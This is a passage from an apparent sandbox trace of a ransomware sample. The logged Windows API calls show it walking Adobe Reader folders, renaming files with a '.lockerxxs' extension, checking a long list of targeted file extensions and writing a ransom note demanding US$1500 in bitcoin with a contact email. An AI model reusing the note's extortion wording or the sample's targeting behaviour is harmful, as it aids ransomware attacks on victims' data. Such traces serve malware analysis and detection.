lpNumberOfBytesWritten=0x406561*=0x12d86, lpOverlapped=0x0) returned 1 [0069.525] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.525] CloseHandle (hObject=0x94) returned 1 [0069.530] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html.lockerxxs")) returned 1 [0069.532] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.532] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.532] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="CHT", cAlternateFileName="")) returned 1 [0069.532] lstrcmpA (lpString1=".", lpString2="CHT") returned -1 [0069.532] lstrcmpA (lpString1="..", lpString2="CHT") returned -1 [0069.532] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.532] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="CHT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" [0069.532] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned 57 [0069.532] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.534] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.534] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.534] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.534] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.534] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.534] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.534] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.534] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*.*") returned="*.*" [0069.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" [0069.534] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="" [0069.534] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt" [0069.534] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\how to decrypt files.txt")) returned 0xffffffff [0069.534] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.535] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.535] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.536] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.536] CloseHandle (hObject=0x94) returned 1 [0069.537] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.ems") returned 0 [0069.537] lstrlenA (lpString="*.ems") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.db") returned 0 [0069.537] lstrlenA (lpString="*.db") returned 4 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.dbf") returned 0 [0069.537] lstrlenA (lpString="*.dbf") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.myox") returned 0 [0069.537] lstrlenA (lpString="*.myox") returned 6 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.myo") returned 0 [0069.537] lstrlenA (lpString="*.myo") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbw") returned 0 [0069.537] lstrlenA (lpString="*.qbw") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbb") returned 0 [0069.537] lstrlenA (lpString="*.qbb") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbm") returned 0 [0069.537] lstrlenA (lpString="*.qbm") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbo") returned 0 [0069.537] lstrlenA (lpString="*.qbo") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbx") returned 0 [0069.537] lstrlenA (lpString="*.qbx") returned 5 [0069.537] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qba") returned 0 [0069.537] lstrlenA (lpString="*.qba") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qby") returned 0 [0069.538] lstrlenA (lpString="*.qby") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qbj") returned 0 [0069.538] lstrlenA (lpString="*.qbj") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.ofx") returned 0 [0069.538] lstrlenA (lpString="*.ofx") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.qif") returned 0 [0069.538] lstrlenA (lpString="*.qif") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mye") returned 0 [0069.538] lstrlenA (lpString="*.mye") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mbox") returned 0 [0069.538] lstrlenA (lpString="*.mbox") returned 6 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.eml") returned 0 [0069.538] lstrlenA (lpString="*.eml") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.pst") returned 0 [0069.538] lstrlenA (lpString="*.pst") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.ost") returned 0 [0069.538] lstrlenA (lpString="*.ost") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.idx") returned 0 [0069.538] lstrlenA (lpString="*.idx") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.dbx") returned 0 [0069.538] lstrlenA (lpString="*.dbx") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.sql") returned 0 [0069.538] lstrlenA (lpString="*.sql") returned 5 [0069.538] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mdb") returned 0 [0069.539] lstrlenA (lpString="*.mdb") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.fdb") returned 0 [0069.539] lstrlenA (lpString="*.fdb") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.wab") returned 0 [0069.539] lstrlenA (lpString="*.wab") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.dat") returned 0 [0069.539] lstrlenA (lpString="*.dat") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.txt") returned 0 [0069.539] lstrlenA (lpString="*.txt") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.539] lstrlenA (lpString="*.jpeg") returned 6 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.jpg") returned 0 [0069.539] lstrlenA (lpString="*.jpg") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.png") returned 0 [0069.539] lstrlenA (lpString="*.png") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.php") returned 0 [0069.539] lstrlenA (lpString="*.php") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.cs") returned 0 [0069.539] lstrlenA (lpString="*.cs") returned 4 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.cpp") returned 0 [0069.539] lstrlenA (lpString="*.cpp") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.rar") returned 0 [0069.539] lstrlenA (lpString="*.rar") returned 5 [0069.539] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.zip") returned 0 [0069.539] lstrlenA (lpString="*.zip") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.html") returned 0 [0069.540] lstrlenA (lpString="*.html") returned 6 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.htm") returned 0 [0069.540] lstrlenA (lpString="*.htm") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.540] lstrlenA (lpString="*.xlsx") returned 6 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.xls") returned 0 [0069.540] lstrlenA (lpString="*.xls") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mp4") returned 0 [0069.540] lstrlenA (lpString="*.mp4") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.ppt") returned 0 [0069.540] lstrlenA (lpString="*.ppt") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.pptx") returned 0 [0069.540] lstrlenA (lpString="*.pptx") returned 6 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.doc") returned 0 [0069.540] lstrlenA (lpString="*.doc") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.dot") returned 0 [0069.540] lstrlenA (lpString="*.dot") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.docx") returned 0 [0069.540] lstrlenA (lpString="*.docx") returned 6 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.7z") returned 0 [0069.540] lstrlenA (lpString="*.7z") returned 4 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.tar") returned 0 [0069.540] lstrlenA (lpString="*.tar") returned 5 [0069.540] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.bz2") returned 0 [0069.541] lstrlenA (lpString="*.bz2") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.gz") returned 0 [0069.541] lstrlenA (lpString="*.gz") returned 4 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mkv") returned 0 [0069.541] lstrlenA (lpString="*.mkv") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.eml") returned 0 [0069.541] lstrlenA (lpString="*.eml") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.msg") returned 0 [0069.541] lstrlenA (lpString="*.msg") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.edb") returned 0 [0069.541] lstrlenA (lpString="*.edb") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.accdb") returned 0 [0069.541] lstrlenA (lpString="*.accdb") returned 7 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.odb") returned 0 [0069.541] lstrlenA (lpString="*.odb") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.java") returned 0 [0069.541] lstrlenA (lpString="*.java") returned 6 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.asm") returned 0 [0069.541] lstrlenA (lpString="*.asm") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.pfx") returned 0 [0069.541] lstrlenA (lpString="*.pfx") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.pem") returned 0 [0069.541] lstrlenA (lpString="*.pem") returned 5 [0069.541] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.p12") returned 0 [0069.542] lstrlenA (lpString="*.p12") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.gpg") returned 0 [0069.542] lstrlenA (lpString="*.gpg") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.vsd") returned 0 [0069.542] lstrlenA (lpString="*.vsd") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.odg") returned 0 [0069.542] lstrlenA (lpString="*.odg") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.raw") returned 0 [0069.542] lstrlenA (lpString="*.raw") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.nef") returned 0 [0069.542] lstrlenA (lpString="*.nef") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.svg") returned 0 [0069.542] lstrlenA (lpString="*.svg") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.psd") returned 0 [0069.542] lstrlenA (lpString="*.psd") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.vmx") returned 0 [0069.542] lstrlenA (lpString="*.vmx") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.542] lstrlenA (lpString="*.vmdk") returned 6 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.vdi") returned 0 [0069.542] lstrlenA (lpString="*.vdi") returned 5 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.lay6") returned 0 [0069.542] lstrlenA (lpString="*.lay6") returned 6 [0069.542] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.543] lstrlenA (lpString="*.mpeg") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.djvu") returned 0 [0069.543] lstrlenA (lpString="*.djvu") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.tiff") returned 0 [0069.543] lstrlenA (lpString="*.tiff") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.backup") returned 0 [0069.543] lstrlenA (lpString="*.backup") returned 8 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.pdf") returned 0 [0069.543] lstrlenA (lpString="*.pdf") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.cert") returned 0 [0069.543] lstrlenA (lpString="*.cert") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.docm") returned 0 [0069.543] lstrlenA (lpString="*.docm") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.543] lstrlenA (lpString="*.xlsm") returned 6 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.dwg") returned 0 [0069.543] lstrlenA (lpString="*.dwg") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.nd") returned 0 [0069.543] lstrlenA (lpString="*.nd") returned 4 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.tlg") returned 0 [0069.543] lstrlenA (lpString="*.tlg") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.lgb") returned 0 [0069.543] lstrlenA (lpString="*.lgb") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mov") returned 0 [0069.543] lstrlenA (lpString="*.mov") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.xdw") returned 0 [0069.543] lstrlenA (lpString="*.xdw") returned 5 [0069.543] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.ods") returned 0 [0069.543] lstrlenA (lpString="*.ods") returned 5 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.wav") returned 0 [0069.544] lstrlenA (lpString="*.wav") returned 5 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.mp3") returned 0 [0069.544] lstrlenA (lpString="*.mp3") returned 5 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.aiff") returned 0 [0069.544] lstrlenA (lpString="*.aiff") returned 6 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.flac") returned 0 [0069.544] lstrlenA 